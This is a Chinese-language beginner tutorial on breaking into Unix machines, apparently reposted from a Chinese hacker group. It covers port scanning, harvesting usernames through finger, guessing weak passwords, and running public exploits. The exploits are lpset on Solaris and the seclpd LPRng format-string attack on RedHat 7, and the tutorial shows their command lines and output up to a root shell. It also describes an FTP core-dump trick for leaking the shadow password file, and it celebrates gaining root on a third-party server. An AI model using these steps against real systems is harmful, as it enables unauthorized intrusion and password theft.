当前位置:Linux教程 - Linux - 初级黑客对于unix系统时应该如何攻击

初级黑客对于unix系统时应该如何攻击



        

    当以hacker的身份面对一台*nix系统的机器时,你通常会想到的攻击手段是什么???crack passwd? buffer overflow ? D.D.O.S ?密码强攻?还是权限提升?cgi漏洞利用…… ……

    #本文面向对*nix有一些基本的了解但又对*nix hack的大概思路又不太清楚的新手,如果你是高手,请您要跳过此文。我是初学者,我写这篇文章的目的是以我的理解把初学者觉得难懂的和感觉不连贯的东西用浅显的语言写出来,使大家对*nix hack的基本思路有个清晰的认识,同时,也是一次把自己脑中模糊的东西清晰化的过程,也希望能得到高手们的指点,指出我的错误和不足,所谓利人利己吧,请大家多多指教。


    可以说,hack *nix,我们可以利用的方法实在太多了,但通常要想取得预期的效果,却要根据实际目标的具体情况来具体对待,切忌生搬硬套,高手有云曰:上黑研理。中黑研法。下黑研用。


    《%%扫描%%》

    通常我们要hack的话,第一步要做的就是扫描,扫描可以让我们得到目标的一些有关资料,并以之为依据确定我们下一步的动作,而通过扫描带给我们的信息我们所作出的反应一般有下面几种。

    目标开了哪些端口?这些端口有什么利用价值?扫描返回的banner信息说明目标是什么系统?什么版本?
    这些版本的os有什么可利用的漏洞?我们有哪些攻击方法可以使用?

    通常应该具备的好的扫描器有nmap,nessus等


    《%%finger和telnet%%》

    通过扫描返回的banner判断出是对方什么系统,什么版本,查找漏洞库看看这个系统有没有什么可以利用的大漏洞。看看目标有没有开finger服务?如果有的话利用finger得到用户名信息,我们可以通过简单的猜测来试探用户密码,用户多的话总会有几个懒虫的:),相信我,如果嫌麻烦或者想提高成功率干脆做个简单密码字典用流光挂上跑好拉,而且此时暴力破解的话成功率往往很高。

    得到一些普通用户帐号后,telnet上去,查看其系统版本 uname -a,然后到一些著名的exploit站点寻找对应的exploit,上传并编译,溢出成功 ,得到root。如:

    [root@null assassin]# telnet xxx.xxx.xxx.xxx
    Trying xxx.xxx.xxx.xxx...
    Connected to xxx.xxx.xxx.xxx.
    Escape character is ^].

    SunOS 5.7

    login: test
    Password: test
    Login incorrect
    login: test
    Password: test123
    No directory! Logging in with home=/
    Last login: Sun Apr 29 15:58:59 from xxx.xxx.xxx.xxx
    Sun Microsystems Inc. SunOS 5.7 Generic October 1998

    $ uname -a
    SunOS SD-SVR-3 5.7 Generic_106541-02 sun4u sparc SUNW,Ultra-60

    5.7 Sparc的系统,找一个对应的Exploit代码上传、执行

    $ gcc /tmp/lpset lpset.c
    $ cd /tmp
    $ ./lpset
    copyright LAST STAGE OF DELIRIUM apr 2000 poland //lsd-pl.net/
    /usr/bin/lpset for solaris 2.6 2.7 sparc

    FNS for files is not installed
    Cannot use this command in this environment
    Use: fncreate -t org command to install
    #

    得到root

    如果目标不允许外部ip连接,我们可以换种思路,扫描其同一网段的机器,看有没有简单密码用户或默认帐号用户?可不可以rlogin到我们的目标?如果可以,嘿嘿~~~~


    《%%目标有没有开ftp?%%》


    试试能不能用ftp的默认帐户或者匿名登陆?如果可以的话,有很多ftp服务器本身具有一些漏洞可以得到系统的控制权或者当机,例如Solaris 操作系统中FTPD的一个
    core漏洞,我们可以过 ftp 正常登录目的主机 ,
    ftp> user root wrongpasswd (此处故意输入一个错误password)
    ftp> quote pasv
    此时,ftpd会报错退出,同时会在当前目录下生成一个core,shadow口令文件就包含在这个core中,用已有的帐号进入---get core---用notepad打开---cut---copy----然后解码跑root



    《%%关于溢出%%》

    溢出,又叫BufferOverflow,全名缓存区溢出。它分为本地溢出和远程溢出,可以说是历史最古老但又是迄今最有效的攻击方法。概括来说,它指的是一种系统攻击的手段,通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其它指令,以达到攻击的目的。据统计,通过缓冲区溢出进行的攻击占所有系统攻击总数的80%以上。 事实上这是一个黑客在系统本地已经拥有了一个基本账号后的首选攻击方式。他也被广泛应用于远程攻击。通过对daemon进程的堆栈溢出来实现远程获得 rootshell
    的技术,已经被很多实例实现。关于溢出的原理和具体使用,我将另文阐述 ,这里只说明溢出的一般使用方法


    本地溢出

    进入主机以后看看有没有明显的漏洞如/.rhosts,‘root/.profile,或者可写的/,或者可改的SUID程序,甚至找找有没有先进去的hacker留下来的后门:-)。查阅漏洞库,看该版本系统是否可以在本地进行缓存溢出攻击进而提升权限?一般都会有的。找到对应的exploit后,编译执行,溢出得到root。

    例:(同telnet和finger中的例子)


    远程溢出

    扫描目标所开的服务中有没有可以远程溢出的漏洞?sunrpc的rpc.statd,redhat7的seclpd.c,netpr.c
    寻找对应的exploit,编译后运行即可

    例:目标为redhat7的系统,经查阅资料库的知redhat系统有一个lp服务有远程溢出漏洞,到hack.co.za找到
    seclpd.c这个exploit。上传到跳板编译:
    $ gcc -o seclpd seclpd.c
    $
    编译成功
    $ ./seclpd 看一下说明

    SEClpd by DiGiT of ADM/security.is !

    Usage: seclpd victim ["brute"] -t type [-o offset] [-a align] [-p position]
    [-r eip_addr] [-c shell_addr] [-w written_bytes]

    ie: ./SEClpd localhost -t 0 For most redhat 7.0 boxes
    ie: ./SEClpd localhost brute -t 0 For brute forcing all redhat 7.0 boxes
    Types:

    [ Type 0: [ RedHat 7.0 - Guinesss ]
    [ Type 1: [ RedHat 7.0 - Guinesss-dev ]

    这里说明它有brute,-p,-a,-tv-o几个参数 ,并有0,1两种模式

    我们开始吧
    $./seclpd xxx.xxx.xxx.xxx -t 0
    +++ Security.is remote exploit for LPRng/lpd by DiGiT

    +++ Exploit information
    +++ Victim: xxx.xxx.xxx.xxx
    +++ Type: 0 - RedHat 7.0 - Guinesss
    +++ Eip address: 0xbffff3ec
    +++ Shellcode address: 0xbffff7f2
    +++ Position: 300
    +++ Alignment: 2
    +++ Offset 0

    +++ Attacking xxx.xxx.xxx.xxx with our format string
    Argh exploit failed$#%! try brute force!

    倒!!!再来!!!

    $./seclpd xxx.xxx.xxx.xxx -t 1
    +++ Security.is remote exploit for LPRng/lpd by DiGiT

    +++ Exploit information
    +++ Victim: xxx.xxx.xxx.xxx
    +++ Type: 1 - RedHat 7.0 - Guinesss-dev
    +++ Eip address: 0xbffff12c
    +++ Shellcode address: 0xbffff532
    +++ Position: 300
    +++ Alignment: 2
    +++ Offset 0

    +++ Attacking xxx.xxx.xxx.xxx with our format string
    Argh exploit failed$#%! try brute force!

    faint!!!还是不行~~~! 好吧 ,我们就用broute force的吧

    $./seclpd xxx.xxx.xxx.xxx brute -t 0
    +++ Security.is remote exploit for LPRng/lpd by DiGiT

    +++ Exploit information
    +++ Victim: xxx.xxx.xxx.xxx
    +++ Type: 0 - RedHat 7.0 - Guinesss
    +++ Eip address: 0xbffff3ec
    +++ Shellcode address: 0xbffff7f2
    +++ Position: 300
    +++ Alignment: 2
    +++ Offset 0

    +++ Attacking xxx.xxx.xxx.xxx with our format string
    +++ Brute force man, relax and enjoy the ride ;>

    稍等一下,哈哈 ,看那!!!

    - [+] shell located on www.fbi.gov.tw
    - [+] Enter Commands at will

    Linux FBI.WWW 2.2.16-22smp #1 SMP Tue Aug 22 16:39:21 EDT 2000 i686 unknown
    uid=0(root) gid=7(lp)

    看到了吗???uid=0也,那就是说你已经是root了也!!!!
    现在你想怎么样都可以了~~~
    不要太狠哦~~~~~;P


    written by jing from H.U.C







    发布人:netbull 来自:红客联盟